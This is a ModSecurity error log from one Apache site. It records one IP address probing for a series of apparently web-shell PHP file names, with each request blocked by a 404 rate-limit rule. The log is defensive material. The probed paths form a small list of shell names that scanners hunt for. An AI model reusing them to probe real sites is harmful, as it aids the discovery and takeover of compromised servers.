[Sun Apr 05 22:03:23.748394 2026] [:error] [pid 30921:tid 30947] [client 68.221.134.12:21360] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/zoper1.php"] [unique_id "adJrq2FGQVn8Q0ueB24vIAAAARg"]
[Sun Apr 05 22:03:24.293633 2026] [:error] [pid 45305:tid 45385] [client 68.221.134.12:21402] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/zoper1.php"] [unique_id "adJrrOjDQjr7aWhjflBrGgAAAI4"]
[Sun Apr 05 22:03:24.776321 2026] [:error] [pid 45305:tid 45390] [client 68.221.134.12:21375] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wmore1.php"] [unique_id "adJrrOjDQjr7aWhjflBrGwAAAJM"]
[Sun Apr 05 22:03:25.265488 2026] [:error] [pid 45303:tid 45325] [client 68.221.134.12:21363] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wmore1.php"] [unique_id "adJrrbboQ9eViZ4hdnlXAAAAAAg"]
[Sun Apr 05 22:03:25.759372 2026] [:error] [pid 45409:tid 45419] [client 68.221.134.12:21367] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wmore1.php"] [unique_id "adJrrdHt_Oyw03gjCNgkzgAAAMg"]
[Sun Apr 05 22:03:26.245653 2026] [:error] [pid 30921:tid 30937] [client 68.221.134.12:21358] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wmore1.php"] [unique_id "adJrrmFGQVn8Q0ueB24vJQAAAQ4"]
[Sun Apr 05 22:03:26.757551 2026] [:error] [pid 45409:tid 45424] [client 68.221.134.12:21415] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cc13.php"] [unique_id "adJrrtHt_Oyw03gjCNgk0QAAAM0"]
[Sun Apr 05 22:03:27.260962 2026] [:error] [pid 30921:tid 30929] [client 68.221.134.12:21422] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cc13.php"] [unique_id "adJrr2FGQVn8Q0ueB24vKQAAAQY"]
[Sun Apr 05 22:03:27.749872 2026] [:error] [pid 30921:tid 30944] [client 68.221.134.12:21408] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cc13.php"] [unique_id "adJrr2FGQVn8Q0ueB24vLQAAARU"]
[Sun Apr 05 22:03:28.262734 2026] [:error] [pid 45305:tid 45379] [client 68.221.134.12:21400] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cc13.php"] [unique_id "adJrsOjDQjr7aWhjflBrIgAAAIg"]
[Sun Apr 05 22:03:28.747675 2026] [:error] [pid 45409:tid 45418] [client 68.221.134.12:21324] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ccs.php"] [unique_id "adJrsNHt_Oyw03gjCNgk1QAAAMc"]
[Sun Apr 05 22:03:29.240637 2026] [:error] [pid 45409:tid 45430] [client 68.221.134.12:21460] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ccs.php"] [unique_id "adJrsdHt_Oyw03gjCNgk2AAAANM"]
[Sun Apr 05 22:03:29.759886 2026] [:error] [pid 45303:tid 45325] [client 68.221.134.12:21371] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ccs.php"] [unique_id "adJrsbboQ9eViZ4hdnlXDAAAAAg"]
[Sun Apr 05 22:03:30.245864 2026] [:error] [pid 30921:tid 30939] [client 68.221.134.12:21251] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ccs.php"] [unique_id "adJrsmFGQVn8Q0ueB24vOQAAARA"]
[Sun Apr 05 22:03:30.737170 2026] [:error] [pid 45303:tid 45319] [client 68.221.134.12:21250] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ccu.php"] [unique_id "adJrsrboQ9eViZ4hdnlXEgAAAAI"]
[Sun Apr 05 22:03:31.226245 2026] [:error] [pid 45304:tid 45364] [client 68.221.134.12:21346] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ccu.php"] [unique_id "adJrsw5jnqDKKovdRkkkvwAAAFQ"]
[Sun Apr 05 22:03:31.740931 2026] [:error] [pid 45409:tid 45426] [client 68.221.134.12:21252] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ccu.php"] [unique_id "adJrs9Ht_Oyw03gjCNgk5AAAAM8"]
[Sun Apr 05 22:03:32.247715 2026] [:error] [pid 45303:tid 45325] [client 68.221.134.12:21444] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ccu.php"] [unique_id "adJrtLboQ9eViZ4hdnlXFwAAAAg"]
[Sun Apr 05 22:03:32.727177 2026] [:error] [pid 45304:tid 45345] [client 68.221.134.12:21397] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/img.php"] [unique_id "adJrtA5jnqDKKovdRkkkwwAAAEE"]
[Sun Apr 05 22:03:33.225211 2026] [:error] [pid 45304:tid 45353] [client 68.221.134.12:21365] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/img.php"] [unique_id "adJrtQ5jnqDKKovdRkkkxQAAAEk"]
[Sun Apr 05 22:03:33.729651 2026] [:error] [pid 45409:tid 45418] [client 68.221.134.12:21309] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/img.php"] [unique_id "adJrtdHt_Oyw03gjCNgk6gAAAMc"]
[Sun Apr 05 22:03:34.218947 2026] [:error] [pid 30921:tid 30939] [client 68.221.134.12:21392] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/img.php"] [unique_id "adJrtmFGQVn8Q0ueB24vRAAAARA"]
[Sun Apr 05 22:03:34.704800 2026] [:error] [pid 45303:tid 45322] [client 68.221.134.12:21273] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bnm.php"] [unique_id "adJrtrboQ9eViZ4hdnlXHQAAAAU"]
[Sun Apr 05 22:03:35.189302 2026] [:error] [pid 45304:tid 45363] [client 68.221.134.12:21255] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bnm.php"] [unique_id "adJrtw5jnqDKKovdRkkkzAAAAFM"]
[Sun Apr 05 22:03:35.682162 2026] [:error] [pid 45305:tid 45387] [client 68.221.134.12:21439] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bnm.php"] [unique_id "adJrt-jDQjr7aWhjflBrTgAAAJA"]
[Sun Apr 05 22:03:36.159934 2026] [:error] [pid 45304:tid 45367] [client 68.221.134.12:21342] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bnm.php"] [unique_id "adJruA5jnqDKKovdRkkkzwAAAFc"]
[Sun Apr 05 22:03:36.684470 2026] [:error] [pid 30921:tid 30924] [client 68.221.134.12:21272] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-turn.php"] [unique_id "adJruGFGQVn8Q0ueB24vTQAAAQE"]
[Sun Apr 05 22:03:37.170777 2026] [:error] [pid 45409:tid 45434] [client 68.221.134.12:21350] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-turn.php"] [unique_id "adJrudHt_Oyw03gjCNgk8QAAANc"]
[Sun Apr 05 22:03:37.660533 2026] [:error] [pid 45409:tid 45415] [client 68.221.134.12:21248] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-turn.php"] [unique_id "adJrudHt_Oyw03gjCNgk9AAAAMQ"]
[Sun Apr 05 22:03:38.177195 2026] [:error] [pid 45409:tid 45435] [client 68.221.134.12:21373] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-turn.php"] [unique_id "adJrutHt_Oyw03gjCNgk9gAAANg"]
[Sun Apr 05 22:03:38.706433 2026] [:error] [pid 45303:tid 45332] [client 68.221.134.12:21294] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sadcut1.php"] [unique_id "adJrurboQ9eViZ4hdnlXLAAAAA8"]
[Sun Apr 05 22:03:39.244444 2026] [:error] [pid 45409:tid 45427] [client 68.221.134.12:21374] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sadcut1.php"] [unique_id "adJru9Ht_Oyw03gjCNgk9wAAANA"]
[Sun Apr 05 22:03:39.798929 2026] [:error] [pid 45409:tid 45431] [client 68.221.134.12:21336] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sadcut1.php"] [unique_id "adJru9Ht_Oyw03gjCNgk-AAAANQ"]
[Sun Apr 05 22:03:40.294727 2026] [:error] [pid 45409:tid 45429] [client 68.221.134.12:21314] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sadcut1.php"] [unique_id "adJrvNHt_Oyw03gjCNgk-wAAANI"]
[Sun Apr 05 22:03:41.198686 2026] [:error] [pid 45409:tid 45424] [client 68.221.134.12:21253] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/saorix1.php"] [unique_id "adJrvdHt_Oyw03gjCNgk_wAAAM0"]
[Sun Apr 05 22:03:42.107479 2026] [:error] [pid 45409:tid 45431] [client 68.221.134.12:21261] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/saorix1.php"] [unique_id "adJrvtHt_Oyw03gjCNglBAAAANQ"]
[Sun Apr 05 22:03:42.608811 2026] [:error] [pid 45409:tid 45413] [client 68.221.134.12:21266] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/saorix1.php"] [unique_id "adJrvtHt_Oyw03gjCNglCgAAAMI"]
[Sun Apr 05 22:03:43.152484 2026] [:error] [pid 45409:tid 45433] [client 68.221.134.12:21275] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/saorix1.php"] [unique_id "adJrv9Ht_Oyw03gjCNglDgAAANY"]
[Sun Apr 05 22:03:43.682757 2026] [:error] [pid 45303:tid 45333] [client 68.221.134.12:21372] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/class-wp-image.php"] [unique_id "adJrv7boQ9eViZ4hdnlXPAAAABA"]
[Sun Apr 05 22:03:44.225899 2026] [:error] [pid 45409:tid 45432] [client 68.221.134.12:21412] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/class-wp-image.php"] [unique_id "adJrwNHt_Oyw03gjCNglFQAAANU"]
[Sun Apr 05 22:03:44.759123 2026] [:error] [pid 45409:tid 45433] [client 68.221.134.12:21283] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/class-wp-image.php"] [unique_id "adJrwNHt_Oyw03gjCNglFwAAANY"]
[Sun Apr 05 22:03:45.321609 2026] [:error] [pid 45409:tid 45421] [client 68.221.134.12:21287] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/class-wp-image.php"] [unique_id "adJrwdHt_Oyw03gjCNglHAAAAMo"]
[Sun Apr 05 22:03:45.843278 2026] [:error] [pid 30921:tid 30944] [client 68.221.134.12:21354] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/kolda.php"] [unique_id "adJrwWFGQVn8Q0ueB24vXQAAARU"]
[Sun Apr 05 22:03:46.380160 2026] [:error] [pid 45304:tid 45346] [client 68.221.134.12:21431] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/kolda.php"] [unique_id "adJrwg5jnqDKKovdRkkk3QAAAEI"]
[Sun Apr 05 22:03:46.953773 2026] [:error] [pid 45409:tid 45414] [client 68.221.134.12:21267] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/kolda.php"] [unique_id "adJrwtHt_Oyw03gjCNglIwAAAMM"]
[Sun Apr 05 22:03:47.455382 2026] [:error] [pid 45303:tid 45335] [client 68.221.134.12:21288] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/kolda.php"] [unique_id "adJrw7boQ9eViZ4hdnlXPwAAABI"]
[Sun Apr 05 22:03:47.942218 2026] [:error] [pid 45305:tid 45375] [client 68.221.134.12:21274] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/yussef.php"] [unique_id "adJrw-jDQjr7aWhjflBrVgAAAIQ"]
[Sun Apr 05 22:03:48.431046 2026] [:error] [pid 45305:tid 45384] [client 68.221.134.12:21277] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/yussef.php"] [unique_id "adJrxOjDQjr7aWhjflBrWgAAAI0"]
[Sun Apr 05 22:03:49.002750 2026] [:error] [pid 45304:tid 45360] [client 68.221.134.12:21326] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/yussef.php"] [unique_id "adJrxQ5jnqDKKovdRkkk4wAAAFA"]
[Sun Apr 05 22:03:49.567008 2026] [:error] [pid 45304:tid 45352] [client 68.221.134.12:21193] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/yussef.php"] [unique_id "adJrxQ5jnqDKKovdRkkk5AAAAEg"]
[Sun Apr 05 22:03:50.045126 2026] [:error] [pid 45305:tid 45389] [client 68.221.134.12:21423] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ay.php"] [unique_id "adJrxujDQjr7aWhjflBrYgAAAJI"]
[Sun Apr 05 22:03:50.534244 2026] [:error] [pid 45303:tid 45317] [client 68.221.134.12:21355] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ay.php"] [unique_id "adJrxrboQ9eViZ4hdnlXQQAAAAA"]
[Sun Apr 05 22:03:51.018048 2026] [:error] [pid 45303:tid 45334] [client 68.221.134.12:21249] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ay.php"] [unique_id "adJrx7boQ9eViZ4hdnlXQwAAABE"]
[Sun Apr 05 22:03:51.606871 2026] [:error] [pid 45303:tid 45331] [client 68.221.134.12:21276] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ay.php"] [unique_id "adJrx7boQ9eViZ4hdnlXRwAAAA4"]
[Sun Apr 05 22:03:52.118673 2026] [:error] [pid 45305:tid 45373] [client 68.221.134.12:21269] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/12.php"] [unique_id "adJryOjDQjr7aWhjflBrYwAAAII"]
[Sun Apr 05 22:03:52.598978 2026] [:error] [pid 30921:tid 30936] [client 68.221.134.12:21356] [client 68.221.134.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/12.php"] [unique_id "adJryGFGQVn8Q0ueB24vYQAAAQ0"]
